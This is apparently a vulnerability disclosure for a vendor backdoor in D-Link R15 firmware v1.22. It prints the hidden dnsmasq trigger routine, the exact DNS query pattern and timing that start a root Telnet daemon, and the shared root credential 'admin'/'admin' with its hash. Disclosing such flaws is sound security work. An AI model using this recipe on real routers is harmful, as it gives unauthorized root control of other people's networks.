Submit #1010982: D-Link R15 (AX1500) router R15_REVA_FIRMWARE_v1.22 Hard-coded Credentials

The D-Link R15 (AX1500) firmware contains a hidden, vendor-injected backdoor inside the shipped dnsmasq binary. When the resolver receives a specific DNS query sequence, the firmware itself executes a shell command that starts a Telnet daemon bound to x.x.x.x:23. That Telnet service authenticates against the runtime /etc/passwd, which the boot script populates from a factory file that contains a uid 0 account "admin" whose password hash is a fixed MD5-crypt record (plaintext "admin"). An attacker who can reach the device DNS service during the boot window can therefore enable a root-level remote shell without any existing account or device-specific secret. All devices of this firmware version share the same credential.

Affected components and hashes (from the public firmware package):
usr/bin/dnsmasq sha256 c2c2c0085c459fed47c18b9ab9f087cb018c839c709bebf16102e784a22442bc
ELF 32-bit MSB MIPS32 rel2 / uClibc (dnsmasq 2.84rc2)
usr/etc/rcS sha256 2befa393864a56082be9d98335d1c19155bb15057dba591be25b573fad4de5cf
usr/mv2ram/etc/passwd sha256 38a0ce2a88621abcb7f7e31fbb3c77a178139e11983b8a235925287925239f70
usr/sbin/telnetd -> ../../bin/busybox
bin/busybox (telnetd/login) sha256 727f129bab78c6a105a1d7855e683c12730ea2f4a0e4189dfa211c2f03a812cf

(1) Hidden trigger. The function at virtual address 0x42189c inside usr/bin/dnsmasq inspects the queried name byte by byte, counts matching queries, measures time and then calls system() with the command "killall -9 telnetd; telnetd -b x.x.x.x -p 23" (string at 0x46bb9c). It is reachable from both the UDP query path (call site 0x4229f4 inside receive_query) and the TCP query path (call site 0x42626c inside tcp_request). The disassembly is:
0x4218f8 if (*(int*)0x471400) return; /* fire only once */
0x421904 if (uptime() >= 300) { *(int*)0x471400 = 1; return; } /* only during the first 300 s after boot */
0x421920 if (*(short*)0x471404 == 0) t_first = time(NULL);
0x421940..0x421a0c name[8]=='.', name[9]=='c', name[10]=='o', name[11]=='m', name[12]=='.', name[4]=='a', name[5]=='m', name[6]=='i', name[7]=='t'
0x421a18..0x421a2c counter++;
0x421a30..0x421a3c if (counter != 10) return;
0x421a44..0x421a60 if (time(NULL) - t_first >= 2) return; /* the 10 matches within 2 seconds */
0x421a70 system("killall -9 telnetd; telnetd -b x.x.x.x -p 23")
0x421a78 *(int*)0x471400 = 1;
The trigger name condition is name[4..7]=="amit", name[8..11]==".com", name[12]=='.', i.e. a name of the form "<4 arbitrary characters>amit.com.<more labels>" such as "testamit.com.xyz"; indexes 0..3 and 13+ are not checked. Each query must be unique so that the resolver cache does not short-circuit the path. Ten matching queries within two seconds are required.

(2) Factory account with a fixed uid 0 credential. usr/etc/rcS line 25 runs "cp -ar /usr/mv2ram/etc/* /etc/" and installs the runtime account database. usr/mv2ram/etc/passwd contains:
admin:$1$$CoERg7ynjYLsj2j4glJ34.:0:0:Linux User,,,:/root:/bin/ash
Offline verification: crypt("admin", "$1$$") equals "$1$$CoERg7ynjYLsj2j4glJ34.", so the plaintext password is "admin"; the account is uid/gid 0 with shell /bin/ash.

(3) Authentication consumer. usr/sbin/telnetd is a symlink to bin/busybox; BusyBox provides the telnetd/login/passwd/ash applets, and login authenticates against the runtime /etc/passwd, i.e. the "admin" record above.

Verification. The vulnerability was verified. Sending ten unique matching DNS queries makes the firmware start a Telnet daemon listening on x.x.x.x:23 (process "telnetd -b x.x.x.x -p 23"; the injected system() call logs "killall: telnetd: no process killed"). A real Telnet login with admin/admin passes the password check, while the control login admin/wrongpass returns "Login incorrect". Negative controls: with a device uptime greater than 300 seconds, the same queries do not trigger the backdoor (it disables itself), and names that do not match the byte pattern do not trigger it. The complete session output and the static disassembly are published in the evidence repository linked below.

Impact. An attacker who can reach the device DNS service within the first 300 seconds after boot can use a short DNS query sequence to start a Telnet daemon on x.x.x.x:23 and then log in as the uid 0 "admin" account, obtaining full control of the router: reading and modifying configuration and credentials, modifying boot scripts and planting persistence, monitoring or redirecting traffic, changing routing/firewall/DNS settings, and using the device as a pivot into the internal network. Because the credential is a fixed record shared by all devices of this firmware version and the trigger is compiled into the resolver, the access cannot be removed by changing any user-configurable password.

Affected scope: D-Link R15 (AX1500), firmware R15_REVA_FIRMWARE_v1.22 (internal build V4.0.0-250905). The firmware package is publicly downloadable from D-Link. WAN exposure is not claimed; reachability depends on the firewall and on the interfaces on which dnsmasq listens (the vendor configuration listens on the bridge interface by default).

Vendor coordination: reported to D-Link SIRT ([email protected]) on 2026-10-02.

CWE-912: Hidden Functionality (backdoor)
CWE-798

• User: XueDugu (UID 100263)
• Submission: 10/02/2026 09:01 (17 days ago)
• Moderation: 10/18/2026 16:47 (16 days later)
• Status: Duplicate
• VulDB entry: 268771 [D-Link R15 prior 1.10.01 Telnet Service backdoor]
• Points: 0